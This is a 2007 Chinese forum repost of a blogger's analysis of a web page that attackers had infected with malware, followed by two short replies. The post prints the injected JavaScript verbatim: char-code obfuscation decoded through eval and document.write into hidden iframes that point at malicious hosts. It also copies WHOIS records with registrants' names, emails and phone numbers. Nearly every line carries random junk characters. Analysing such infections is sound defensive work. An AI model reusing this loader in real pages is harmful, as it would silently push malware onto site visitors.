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[原创]一篇刚写的分析木马手记

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首发在我的博客里面, 73u97oe>1  
4k{xo~+%,  
http://www.areway.cn/?p=175 2Gj)fMK38  
>*B59+1P  
nRX'J5Q m<  
周末上线鸭子就Q我说他的站给挂了马,当时没太注意就直接打开了连接,截下了网页源码: 7NOF^/nU  
          _?9|,  
<script>t=’60,105,102,114,97,109,101, 0j[%L!hny  
32,115,114,99,61,104,116,116,112,58,47,47, o]0\Km  
102,114,101,101,46,117,45,117,117,117,46,99,  !:|D[1m  
110,47,101,114,114,111,114,46,104,116,109, '>UQsAvm  
32,119,105,100,116,104,61,49,48,48,32,104, RZI4N4o  
101,105,103,104,116,61,48,62,60,47,105,102, lLuAgds`  
114,97,109,101,62′; 9 icy&'  
t=eval(’String.fromCharCode(’+t+’)');document.write(t);</script> =bb)B(  
                                                                                                  iR4!X()  
<script>t=’60,105,102,114,97,109,101,32,115, WSV% Oy3V  
114,99,61,104,116,116,112,58,47,47,102,114, *iujJ i  
101,101,46,117,45,117,117,117,46,99,110,47, Su[f"2oR  
101,114,114,111,114,46,104,116,109,32,119, yv.(Oy  
105,100,116,104,61,49,48,48,32,104,101,105, |FZIUS{]  
103,104,116,61,48,62,60,47,105,102,114,97, F0+@FS0   
109,101,62′;t=eval(’String.fromCharCode(’+t+’)'); c`!8!R  
document.write(t);</script> #jX%nqMxW  
                                                                                                  ~@EBW3>~5  
<html xmlns=” \ dZD2e4  
http://www.w3.org/1999/xhtml r!O4]j_3  
“> O.wk*m!9  
<head> W$?Bsz)  
<!– Published By Newasp.cc 2007-12-7-18:03:23 –> l|~SVk|  
<meta http-equiv=”Content-Type” content=”text/html; charset=gb2312″ /> W8s/"  
<title>首页 - 爱生活家庭网 2W=am_\0e.  
                                                                                                                                                    N^By#Z  
上面有一段 script的十进制加密字段,里面的大概内容是,把所有的字符放在函数t里面,最后用doucment.write(t)来把字符串写在网页里面。 ^[-3qi  
转换字符串后的大概内容是(谁点击后果自付): :X ~{,J  
<script>t=’<iframe src=http://free.u-uuu.cn/error.htm width=……… Lw #vHNf6  
                                                                                                                                  <LOas$  
查询玉米u-uuu.cn的详细信息: hS:j$j e  
Domain Name: u-uuu.cn  Q~AK0W  
ROID: 20070901s10001s64972306-cn rQD7ZN_ R  
Domain Status: ok ~:lN("9OI  
Registrant Organization: 王雷 {,b:f  
Registrant Name: 王雷 P :D6w){  
Administrative Email: czlovexs@126.com B3iU#   
Sponsoring Registrar: 北京万网志成科技有限公司 00(#_($  
Name Server:ns.yovole.com <MoKTP-<  
Name Server:ns1.yovole.com 0`l(c  
Registration Date: 2007-09-01 17:54 z2.ZxL"*  
Expiration Date: 2008-09-01 17:54 Hze~oAP+  
最后PING了一下地址 都没有什么…. =f{YwtG  
                                                                                                q<*UeyE S  
上虚拟机里面继续分析,IE里面打开上面的连接…查看源代码…..直接又有嵌套. S) [$F}  
<iframe src=http://www.foafau.info/ms15.htm width=1 height=1></iframe> l:rT{l=8*  
<script language=”javascript” src=” w0N8a%  
http://count43.51yes.com/click.aspx?id=4333375720&logo=6″></script ia}V8i  
> EkEU}2  
这个玉米应该有可能是木马作者的: _f5n t:-  
foafau.info的详细信息: B\} B H  
Access to INFO WHOIS information is provided to assist persons in .~Z@y#  
determining the contents of a domain name registration record in the $S _VR  
Afilias registry database. The data in this record is provided by fA>FU/r  
Afilias Limited for informational purposes only, and Afilias does not ^%r>f@h!L  
guarantee its accuracy.  This service is intended only for query-based W6[# q%o  
access. You agree that you will use this data only for lawful purposes dF/HKBJ  
and that, under no circumstances will you use this data to: (a) allow, l&1R`gcW  
enable, or otherwise support the transmission by e-mail, telephone, or N3}jLl/  
facsimile of mass unsolicited, commercial advertising or solicitations C7lBK<gQ  
to entities other than the data recipient’s own existing customers; or El)WjcmH  
(b) enable high volume, automated, electronic processes that send t&99ZdE  
queries or data to the systems of Registry Operator, a Registrar, or 8~")9w  
Afilias except as reasonably necessary to register domain names or ,>Lj>g{~  
modify existing registrations. All rights reserved. Afilias reserves K9(Su`zr  
the right to modify these terms at any time. By submitting this query, Ei[>%Ah  
you agree to abide by this policy. k^Q>  
Domain ID:D22418703-LRMS 8hx 3pvmk  
Domain Name:FOAFAU.INFO %+,7=Wt-  
Created On:20-Nov-2007 16:05:42 UTC )+S^{tt  
Last Updated On:20-Nov-2007 16:05:44 UTC ~qxuD_  
Expiration Date:20-Nov-2008 16:05:42 UTC "dO>P*k,  
Sponsoring Registrar:GoDaddy.com Inc. (R171-LRMS) Hkck=@>8H*  
Status:CLIENT DELETE PROHIBITED rFPfTpS  
Status:CLIENT RENEW PROHIBITED \h}a?T6  
Status:CLIENT TRANSFER PROHIBITED 2'6:fr=R  
Status:CLIENT UPDATE PROHIBITED ) HN,Az"  
Status:TRANSFER PROHIBITED ] oh.w  
Registrant ID:GODA-040110615 xfyUT^  
Registrant Name:liu hong ?QXc,*=N  
Registrant Organization: O~WT$  
Registrant Street1:beijing ;=[~2*8  
Registrant Street2: &:" [hU  
Registrant Street3: xYGB{g]  
Registrant City:beijing $ }D9)&f;  
Registrant State/Province: yxt `  
Registrant Postal Code:100000 CkJ\v%JAW  
Registrant Country:CN c<gvUVHIxR  
Registrant Phone:+86.860108888777 _PR> <L_  
Registrant Phone Ext.: OAhCW*B  
Registrant FAX: bq<DW/  
Registrant FAX Ext.: >x$.mXX{  
Registrant Email:bbbshiji@163.com f*}H4H EO  
Admin ID:GODA-240110615 jZ8#86/#{  
Admin Name:liu hong 1hQeuG  
Admin Organization: tb@&!a$`?  
Admin Street1:beijing .;&1"b8G  
Admin Street2: psHW(Z8G  
Admin Street3: oMj;9,WK'  
Admin City:beijing JNYFu0  
Admin State/Province: 5#SD$^  
Admin Postal Code:100000 I2$.o0=3Y  
Admin Country:CN e+t2F |xDh  
Admin Phone:+86.860108888777 gVs8W3GW  
Admin Phone Ext.: g}\Yl.  
Admin FAX: oL2 a:\7  
Admin FAX Ext.: '&.QW$B\B_  
Admin Email:bbbshiji@163.com ATb[/=hP<R  
Billing ID:GODA-340110615 lB0: 4cIj  
Billing Name:liu hong UvtSNP&/2d  
Billing Organization: 9Xv>FVG!  
Billing Street1:beijing 8"\g?/  
Billing Street2: C/w!Y)nB=  
Billing Street3: c88I"5@[bD  
Billing City:beijing $O/@bh1@p  
Billing State/Province: %;Dp~T`0  
Billing Postal Code:100000 7Q(5Nlfcz  
Billing Country:CN 7Q>*]  
Billing Phone:+86.860108888777 )Bq~1M 2  
Billing Phone Ext.: smM*HDK  
Billing FAX: Y^Olcz  
Billing FAX Ext.: w/`I2uYu  
Billing Email:bbbshiji@163.com -m.SN>V  
Tech ID:GODA-140110615 f;k'dqlv  
Tech Name:liu hong > %~%O`+  
Tech Organization: *Hnk,?kPq  
Tech Street1:beijing FYe(S V(9  
Tech Street2: \v'\ Ea~  
Tech Street3: Q]q`+ Z65  
Tech City:beijing +H7lkbW  
Tech State/Province: _p~lL<q-K[  
Tech Postal Code:100000 Q[+o\{ O  
Tech Country:CN JDyP..Dt  
Tech Phone:+86.860108888777 R0n# FL^E  
Tech Phone Ext.: )K4A-9pC  
Tech FAX: 2^}E!(<  
Tech FAX Ext.: MMpGI^x!-X  
Tech Email:bbbshiji@163.com 4EO,9#0  
Name Server:NS27.DOMAINCONTROL.COM U2DE"  
Name Server:NS28.DOMAINCONTROL.COM .5',w"R  
Name Server: GJLlMi  
Name Server: _IA@X. )?  
Name Server: Ig hd,G-  
Name Server: `(r [BV|h}  
Name Server: gsqpQq7  
Name Server: yJ(p-3O5  
Name Server: M mjeFv  
Name Server: d{UyiZm\  
Name Server: nH#|]gVI  
Name Server: K&t+3O  
Name Server: c({V[eGY  
                                                                                                          JO4rU- n  
接着下载每个文件里面的代码: w!0`JPu  
一步一步看.. Qz+hS\yx  
E6{|zF/3'  
/mb?C/CI  
M>pcG.6V  
a)+;<GZ~  
zqaz1rt[  
都是十进制的代码,也懒得再分析了,有这个爱好的大家可以继续试试
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简单生活
执著追求
别笑我浅溥,天真的以为用一腔真诚就能感动这个冷漠的世界。
也别说我幼稚,竟想用不长的人生去诠释繁杂的红尘。
然而除了真诚,我还能给你什么,的确我真的一无所有!

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只看该作者 1 发表于: 2007-12-17
看过了就是没看懂。。。
级别: 终身会员
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只看该作者 2 发表于: 2007-12-18
要是有全部 就好了 传上来
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